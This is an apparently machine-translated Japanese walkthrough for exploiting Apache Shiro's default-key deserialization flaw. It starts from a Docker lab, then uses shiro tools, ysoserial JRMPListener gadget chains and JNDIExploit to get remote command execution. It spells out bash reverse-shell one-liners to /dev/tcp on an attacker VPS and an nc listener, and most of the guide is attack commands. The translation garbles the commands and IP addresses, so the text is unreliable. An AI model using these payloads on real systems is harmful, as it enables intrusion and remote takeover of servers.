環境を取得:
ミラーをローカルに引っ張ります
$ docker pull medicean/vulapps:s_shiro_1
環境を開始します
$ docker run -d -p 80:8080 Medicean/vulapps:S_shiro_11。 shiro_attack_2.2ツールを使用してターゲットシステムを確認し、デフォルトキーがあるが、使用率チェーンはないことを発見しました
2。shior_tools.jarを使用して、ターゲットシステムを直接検出します。検出が完了すると、実行可能操作が返されます。
Java -jar Shiro_tool.jar http://10.11.10.10.10833608081/login.jsp
2. [0]を選択し、DNSLOGアドレスを入力します。 DNSLOGテストを通じてエコーがあります。メモは次のとおりです。http://dnslog.cn/someサイトを使用すると、複数のdnslogプラットフォームに変更してテストできます。
dnslogにはエコーがあります。次に、シェルを取得します。固定思考のために、私は以前にLinuxに遭遇しました。私はそれがLinuxだと思ったが、私はそれをうまく使わなかった。最初は、ファイアウォールの傍受だと思っていました。その後、ディレクトリ構造を検出して、それがWindowsであることがわかったので、ここでペイロードを変更する必要がありました。
3. Ysoserialを使用して、パブリックネットワークVPSでポートを開き、リバウンドコマンドを実行します
Java -CP YSOSERIAL-MASTER-30099844C6-1.JAR YSOSERIAL.EXPLOIT.JRMPLISTENER 1999 CommonsCollectionS5 'エンコード後のBASHコマンド
ここのエンコードコンテンツはステップ4にあります
ピット1:commonscollection1-5シェルがリバウンドしない場合は、代わりに使用します
4.バッシュリバウンドコマンド編集
https://x.hacking8.com/java-runtime.html//encoded link
次の3種類の実行コマンドが必要に応じて選択されます。
ピット2:ここで実行されたbashコマンドは、最初に相手の実行システムに依存します。 Linxuの場合は、次の3つを試してください。勝っている場合は、Baiduリバウンドコマンドを個別に送信してください。
bash -i/dev/tcp/vpsip/7777 01
/bin/bash -i/dev/tcp/vpsip/7777 01 21
0196; exec 196/dev/tcp/vpsip/7777; SH 196 196 2196
2番目のタイプ、IP:シェルのVPSを受け入れるIPは、ポート:NCを使用して監視を開き、リバウンドするポートです。
/bin/bash -i /dev/tcp/192.168.14.222/8888 01 21
Windows:Java -CP YSOSERIAL-0.0.6-SNAPSHOT-1.8.3.JAR YSOSERIAL.EXPLOIT.JRMPLISTENER 88 COMMONSBEANUTILS2 'LDAP: //VPSアドレス:1389/基本/コマンド/D2HVYW1P'
d2hvyw1pはコマンドのbase64です。ここに実行コマンドwhaamiがあります
Java -jar jndiexploit -1.0 -snapshot.jar -i VPSアドレス
5。NCモニタリング
6.シェルのVPSによって開かれたポートとJava-solserial-jrmplistenerを入力します(ここで1を選択して、Jrmpclientを使用してシェルをリバウンドします)
7.実行の成功、リバウンドシェル